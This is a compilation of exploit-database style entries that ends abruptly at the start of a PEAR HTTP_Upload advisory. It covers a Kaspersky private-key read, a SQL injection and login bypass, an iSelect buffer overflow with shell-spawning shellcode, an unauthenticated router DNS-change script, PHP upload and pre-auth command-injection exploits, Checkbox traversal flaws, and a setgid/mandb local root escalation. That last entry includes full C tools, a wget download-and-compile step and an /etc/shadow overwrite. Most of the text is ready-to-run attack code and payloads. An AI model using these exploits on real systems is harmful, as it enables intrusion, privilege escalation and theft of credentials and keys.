When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing.

$ icacls KLSSL_privkey.pem
KLSSL_privkey.pem BUILTIN\Administrators:(I)(F)
                  BUILTIN\Users:(I)(RX) <-- All users should have read access
                  NT AUTHORITY\SYSTEM:(I)(F)

Successfully processed 1 files; Failed processing 0 files
$ cat KLSSL_privkey.pem
cat: KLSSL_privkey.pem: Permission denied

Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask.

But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA.
*/

#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
    HANDLE File;
    BYTE buf[2048] = {0};
    DWORD count;

    File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem",
            MAXIMUM_ALLOWED,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL);
    if (File != INVALID_HANDLE_VALUE) {
        if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) {
            setmode(1, O_BINARY);
            fwrite(buf, 1, count, stdout);
        }
        CloseHandle(File);
        return 0;
    }
    return 1;
}

/*
$ cl test.c
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

test.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:test.exe
test.obj
$ ./test.exe | openssl rsa -inform DER -text -noout
Private-Key: (2048 bit)
modulus:
    00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81:
    bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66:
    0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db:
    f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07:
*/
            
# # # # # 
# Vulnerability: SQL Injection + Admin Login Bypass
# Date: 13.01.2017
# Vendor Homepage: http://phprealestatescript.org/
# Script Name: Open Source Real-Estate Script
# Script Buy Now: http://phprealestatescript.org/open-source-real-estate-script.html
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/viewpropertydetails.php?id=[SQL]
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # # 
            
# Exploit developed using Exploit Pack v7.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: iSelect
# Affected value: -k, --key=KEY
# Version: 1.4.0-2+b1
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: ncurses-based interactive line selection tool
# iSelect is an interactive line selection tool, operating via a
# full-screen Curses-based terminal session.

# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
# Website: http://www.ossp.org/pkg/tool/iselect/

# Where in the code:
#7  0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc "1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199 times>..., destlen=1024) at strcpy_chk.c:30
#8  0x0804bfaa in ?? ()
#9  0x0804914d in ?? ()
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2, argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291


# Exploit code: Proof of Concept ( Without Fortify )
import os, subprocess

def run():
  try:
    print "# iSelect - Local Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 1024
    nopsled = "\x90"*30
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\x08\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["iselect -k=",'', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, iSelect binary - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit iSelect -  Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
            
#!/bin/bash
#
#   Tenda ADSL2/2+ Modem D840R
#   Unauthenticated Remote DNS Change Exploit
#
#  Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Description:  
#  The vulnerability exist in the web interface, which is 
#  accessible without authentication. 
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  The malicious code doesn't sleeping, he stalking..  
#

if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "               Tenda ADSL2/2+ Modem D840R " 
        echo "           Unauthenticated Remote DNS Change Exploit"
        echo "  ==================================================================="
        echo "  Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
        echo "  Example: $0 133.7.133.7 8.8.8.8"
        echo "  Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
        echo ""
        echo "      Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"
        echo "  https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1
            
+]###################################################################################################
[+] Credits / Discovery: John Page 	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DIRLIST-FILE-UPLOAD-BYPASS-CMD-EXEC.txt
[+] ISR: Apparition
[+]##################################################################################################



Vendor:
===============
sourceforge.net


Product:
===============
dirList v0.3.0


Download:
===========
sourceforge.net/projects/dir-list/


dirLIST displays files and folders in a given HTTP/FTP directory. It has a wonderful interface with choice of Thumbnail or List
view along with gorgeous icons for different file types. Includes a sleek gallery, web based mp3 player, file admin + more.



Vulnerability Type:
======================================
Bypass File Upload / CMD Execution



CVE Reference:
===============
N/A


Security Issue:
===============

When uploading "Banned" file types dirLIST replies with a base64 encoded error message.

e.g.
dXBsb2FkX2Jhbm5lZA== 

Decoded it reads, "upload_banned".


Banned files are setup in the "config.php" file.

$banned_file_types = array('.php', '.php3', '.php4', '.php5', '.htaccess', '.htpasswd', '.asp', '.aspx'); 

When upload a file, the check is made for banned file types.

In "process_upload.php" on Line: 47

if(in_array(strtolower(strrchr($file_name, ".")), $banned_file_types))
	{
		header("Location: ../index.php?folder=".$_POST['folder']."&err=".base64_encode("upload_banned"));
		exit;
	}


However, appending a semicolon ";" to end of our PHP file will skirt the security check allowing
us to upload a banned PHP file type, and our PHP file will be executed by server when accessed later.

Apache manual:
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr
maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. etc..

Therefore, a file named ‘file.php.1’, can be interpreted as a PHP file and be executed on server. 
This usually works if the last extension is not specified in the list of mime-types known to the web server. 

Developers are usually unaware of the "Apache" feature to process files with some odd unexpected extension like PHP.1, PHP.; and such.


Tested on:

Windows 7
Bitnami wampstack-5.6.29-0.
Apache/2.4.23 (Win64)

Linux
XAMPP 5.6.8-0
Apache/2.4.12 (Unix)



Exploit/POC:
============

1) Create a banned PHP file to upload named.

"TEST.php.;"

2) Upload to server using dirLIST. 


3) Done!


<?php
echo passthru('cat /etc/passwd');
?>

Result:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message
bus:/:/sbin/nologin avahi:x:70:70:Avahi
daemon:/:/sbin/nologin

etc...



Network Access:
===============
Remote



Impact:
=================
System Takeover



Severity:
===========
High


Disclosure Timeline:
=====================
Vendor Notification: No Replies
January 17, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX
            
[+]##################################################################################################
[+] Credits / Discovery: John Page
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/BOZON-PRE-AUTH-COMMAND-EXECUTION.txt
[+] ISR: ApparitionSec       
[+]##################################################################################################
 


Vendor:
============
bozon.pw/en/



Product:
===========
BoZoN 2.4 

Bozon is a simple file-sharing app. Easy to install, free and open source Just copy BoZoN's files onto your server.


Vulnerability Type:
==========================
Pre-Auth Command Execution 



CVE Reference:
==============
N/A



Security Issue:
================

A Bozon vulnerability allows unauthenticated attackers to add arbitrary users and inject system commands to the "auto_restrict_users.php"
file of the Bozon web interface.

This issue results in arbitrary code execution on the affected host, attackers system commands will get written and stored to the PHP file
"auto_restrict_users.php" under the private/ directory of the Bozon application, making them persist. Remote attackers will get the command
responses from functions like phpinfo() as soon as the HTTP request has completed.

In addition when an admin or user logs in or the webpage gets reloaded the attackers commands are then executed as they are stored.
If a Command is not injected to the "auto_restrict_users.php" file, unauthenticated attackers can opt to add user accounts at will.



Exploit/POC:
=============

import urllib,urllib2,time

#Bozon v2.4 (bozon.pw/en/) Pre-Auth Remote Exploit
#Discovery / credits: John Page - Hyp3rlinx/Apparition
#hyp3rlinx.altervista.org
#Exploit: add user account | run phpinfo() command
#=========================================================

EXPLOIT=0
IP=raw_input("[Bozon IP]>")
EXPLOIT=int(raw_input("[Exploit Selection]> [1] Add User 'Apparition', [2] Execute phpinfo()"))

if EXPLOIT==1:
    CMD="Apparition"
else:
    CMD='"];$PWN=''phpinfo();//''//"'

if EXPLOIT != 0:
   url = 'http://'+IP+'/BoZoN-master/index.php'
   data = urllib.urlencode({'creation' : '1', 'login' : CMD, 'pass' : 'abc123', 'confirm' : 'abc123', 'token' : ''})
   req = urllib2.Request(url, data)
   
response = urllib2.urlopen(req)
if EXPLOIT==1:
    print 'Apparition user account created! password: abc123'
else:
    print "Done!... waiting for phpinfo"
    time.sleep(0.5)
    print response.read()




Impact:
===============
System Takeover



Severity:
=========
High



Disclosure Timeline:
====================================
Vendor Notification: No Replies
January 17, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX 
            
# Exploit Title: Check Box 2016 Q2 Survey Multiple Vulnerabilities
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r
# Date: Jan 17, 2017
# Vendor Homepage: https://www.checkbox.com/
# Software Link: https://www.checkbox.com/free-checkbox-trial/
# Version: Check Box 2016 Q2,Check Box 2016 Q4  - Fixed in Checkbox Survey,
Inc. v6.7
# Tested on: Check Box 2016 Q2 Trial on windows Server 2012.
# Description : Checkbox is a survey application deployed by a number of
highly profiled companies and government entities like Microsoft, AT&T,
Vodafone, Deloitte, MTV, Virgin, U.S. State Department, U.S. Secret
Service,  U.S. Necular Regulatory Comission, UNAIDS, State Of California
and more!!

For a full list of their clients please visit:
https://www.checkbox.com/clients/

1- Directory traversal vulnerability : For example to download the
web.config file we can send a request as the following:
http://www.example.com/Checkbox/Upload.ashx?f=..\..\web.config&n=web.config

2- Direct Object Reference :
attachments to surveys can be accessed directly without login as the
following:
https://www.victim.com/Checkbox/ViewContent.aspx?contentId=5001
I created a script that can bruteforce the numbers to find ID's that will
download the attachment and you can easily write one on your own ;).

3- Open redirection in login page for example:
https://www.victim.com/Checkbox/Login.aspx?ReturnUrl=http://www.google.com

If you can't see why an open redirection is a problem in login page please
visit the following page:
https://www.asp.net/mvc/overview/security/preventing-
open-redirection-attacks


Timeline:
December 2016 - Discovered the vulnerability during Pen. Test conducted by
ZINAD IT for one of our clients.
Jan 12,2017 - Reported to vendor.
Jan 15,2017 - Sent a kind reminder to the vendor.
Jan 16,2017 - First Vendor Response said they will only consider directory
traversal as a vulnerability and that a fix will be sent in the next day.
Jan 16,2017 - Replied to explain why DOR and Open Redirect is a problem.
Jan 17,2017 - Patch Release Fixed the Directory Traversal.
Jan 17,2017 - Sent another email to confirm if DOR and open redirect wont
be fixed.
Jan 17,2017 - Open redirection confirmed to be fixed in the same patch
released before for DOR the vendor said they didn't believe that's a
security concern and that they have added a warning to let users know that
their attachments will be available to anyone with access to that survey page !!
            
# Title : Openexpert 0.5.17  - Sql Injection
# Author: Nassim Asrir
# Author Company: Henceforth
# Tested on: Winxp sp3 - win7
# Vendor: https://sourceforge.net/projects/law-expert/
# Download Software: https://sourceforge.net/projects/law-expert/files/

#################################################

## About The Product : ##

OpenExpert. Dual use Web based and Easy to Use Expert System or Education System.

## Vulnerability : ## 

- Vulnerable Parametre : area_id

- HTTP Method : GET

- To exploit it : http://HOST/expert_wizard.php?area_id=1'

- Sqlmap Output : 

Parameter: area_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: area_id=1 AND 4961=4961

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: area_id=1 AND (SELECT 8855 FROM(SELECT COUNT(*),CONCAT(0x7171706a71,(SELECT (ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: area_id=1 AND SLEEP(5)
---
[15:35:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.26
back-end DBMS: MySQL >= 5.0
[15:35:38] [INFO] fetching database names
[15:35:39] [INFO] the SQL query used returns 5 entries
[15:35:39] [INFO] retrieved: information_schema
[15:35:39] [INFO] retrieved: mysql
[15:35:39] [INFO] retrieved: performance_schema
[15:35:39] [INFO] retrieved: sys
[15:35:39] [INFO] retrieved: test
            
/*
EDB Note: 
man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
*/




## man:man -> man:root

Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:
- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call.

Program Invocation: Following sequence can be used for testing:

```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  man  0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate 
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
total 0
dr-xr-xr-x   9 man  root 0 May 15 02:13 .
```


## man:root -> root:root

Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man.
Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.

Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:

```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```



Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:

```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```
If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.

- - - - -

/* CreateSetgidBinary.c */
/** This software is provided by the copyright owner "as is" and any
 *  expressed or implied warranties, including, but not limited to,
 *  the implied warranties of merchantability and fitness for a particular
 *  purpose are disclaimed. In no event shall the copyright owner be
 *  liable for any direct, indirect, incidential, special, exemplary or
 *  consequential damages, including, but not limited to, procurement
 *  of substitute goods or services, loss of use, data or profits or
 *  business interruption, however caused and on any theory of liability,
 *  whether in contract, strict liability, or tort, including negligence
 *  or otherwise, arising in any way out of the use of this software,
 *  even if advised of the possibility of such damage.
 *
 *  This tool allows to create a setgid binary in appropriate directory
 *  to escalate to the group of this directory.
 *
 *  Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
 *
 *  Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
 *
 *  Example: 
 *
 *  # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
 *  # ls -al ./escalate
 *  # ./escalate /bin/sh
 *
 *  Copyright (c) 2015 halfdog <me (%) halfdog.net>
 *
 *  See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>

int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
  char suidExecMinimalElf[] = {
      0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
      0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
      0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
      0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
      0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
      0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
      0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
      0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
      0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
  };

  int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
  if(destFd<0) {
    fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
    return(1);
  }

  char *suidWriteNext=suidExecMinimalElf;
  char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
  while(suidWriteNext!=suidWriteEnd) {
    char *suidWriteTestPos=suidWriteNext;
    while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
    lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
    suidWriteNext=suidWriteTestPos;
    while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
      suidWriteTestPos++;

    int result=fork();
    if(!result) {
      struct rlimit limits;

// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
      limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
      limits.rlim_max=limits.rlim_cur;
      setrlimit(RLIMIT_FSIZE, &limits);

// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
      limits.rlim_cur=1<<22;
      limits.rlim_max=limits.rlim_cur;
      result=setrlimit(RLIMIT_AS, &limits);

      dup2(destFd, 1);
      dup2(destFd, 2);
      argv[3]=suidWriteNext;
      execve(argv[2], argv+3, NULL);
      fprintf(stderr, "Exec failed\n");
      return(1);
    }
    waitpid(result, NULL, 0);
    suidWriteNext=suidWriteTestPos;
//  ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
  }
  fprintf(stderr, "Completed\n");
  return(0);
}
/* EOF */

- - - - -

/* DirModifyInotify-20110530.c */

/** This program waits for notify of file/directory to replace
 *  given directory with symlink.
 *  Parameters:
 *  * --LinkTarget: If set, the MovePath is replaced with link to
 *    this path
 *  Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
 *      --MovePath [path] --LinkTarget [path] --Verbose
 *  gcc -o DirModifyInotify DirModifyInotify.c
 *
 *  Copyright (c) halfdog <me (%) halfdog.net>
 *  
 *  This software is provided by the copyright owner "as is" to
 *  study it but without any expressed or implied warranties, that
 *  this software is fit for any other purpose. If you try to compile
 *  or run it, you do it solely on your own risk and the copyright
 *  owner shall not be liable for any direct or indirect damage
 *  caused by this software.
 */

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
  char	*movePath=NULL;
  char	*newDirName;
  char	*symlinkTarget=NULL;

  int	argPos;
  int	handle;
  int	inotifyHandle;
  int	inotifyDataSize=sizeof(struct inotify_event)*16;
  struct inotify_event *inotifyData;
  int	randomVal;
  int	callCount;
  int	targetCallCount=0;
  int	verboseFlag=0;
  int	ret;

  if(argc<4) return(1);
  inotifyHandle=inotify_init();

  for(argPos=1; argPos<argc; argPos++) {
    if(!strcmp(argv[argPos], "--Verbose")) {
      verboseFlag=1;
      continue;
    }

    if(!strcmp(argv[argPos], "--LinkTarget")) {
      argPos++;
      if(argPos==argc) exit(1);
      symlinkTarget=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--MovePath")) {
      argPos++;
      if(argPos==argc) exit(1);
      movePath=argv[argPos];
      continue;
    }

    if(!strcmp(argv[argPos], "--Watch")) {
      argPos++;
      if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
      ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
      if(ret==-1) {
        fprintf(stderr, "Failed to add watch path %s, error %d\n",
            argv[argPos], errno);
        return(1);
      }
      continue;
    }

    if(!strcmp(argv[argPos], "--WatchCount")) {
      argPos++;
      if(argPos==argc) exit(1);
      targetCallCount=atoi(argv[argPos]);
      continue;
    }

    fprintf(stderr, "Unknown option %s\n", argv[argPos]);
    return(1);
  }

  if(!movePath) {
    fprintf(stderr, "No move path specified!\n" \
        "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
        "    --LinkTarget [path]\n");
    return(1);
  }

  fprintf(stderr, "Using target call count %d\n", targetCallCount);

// Init name of new directory
  newDirName=(char*)malloc(strlen(movePath)+256);
  sprintf(newDirName, "%s-moved", movePath);
  inotifyData=(struct inotify_event*)malloc(inotifyDataSize);

  for(callCount=0; ; callCount++) {
    ret=read(inotifyHandle, inotifyData, inotifyDataSize);
    if(callCount==targetCallCount) {
      rename(movePath, newDirName);
//      rmdir(movePath);
      if(symlinkTarget) symlink(symlinkTarget, movePath);
      fprintf(stderr, "Move triggered at count %d\n", callCount);
      break;
    }
    if(verboseFlag) {
      fprintf(stderr, "Received notify %d, ret %d, error %s\n",
          callCount, ret, (ret<0?strerror(errno):NULL));
    }
    if(ret<0) {
      break;
    }
  }
  return(0);
}
/* EOF */
            
[+]################################################################################################
[+] Credits: John Page AKA Hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/PEAR-HTTP_UPLOAD-ARBITRARY-FILE-UPLOAD.txt
[+] ISR: ApparitionSEC
[+]################################################################################################



Vendor:
============
pear.php.net



Product:
====================
HTTP_Upload v1.0.0b3

Download:
https://pear.php.net/manual/en/package.http.http-upload.php

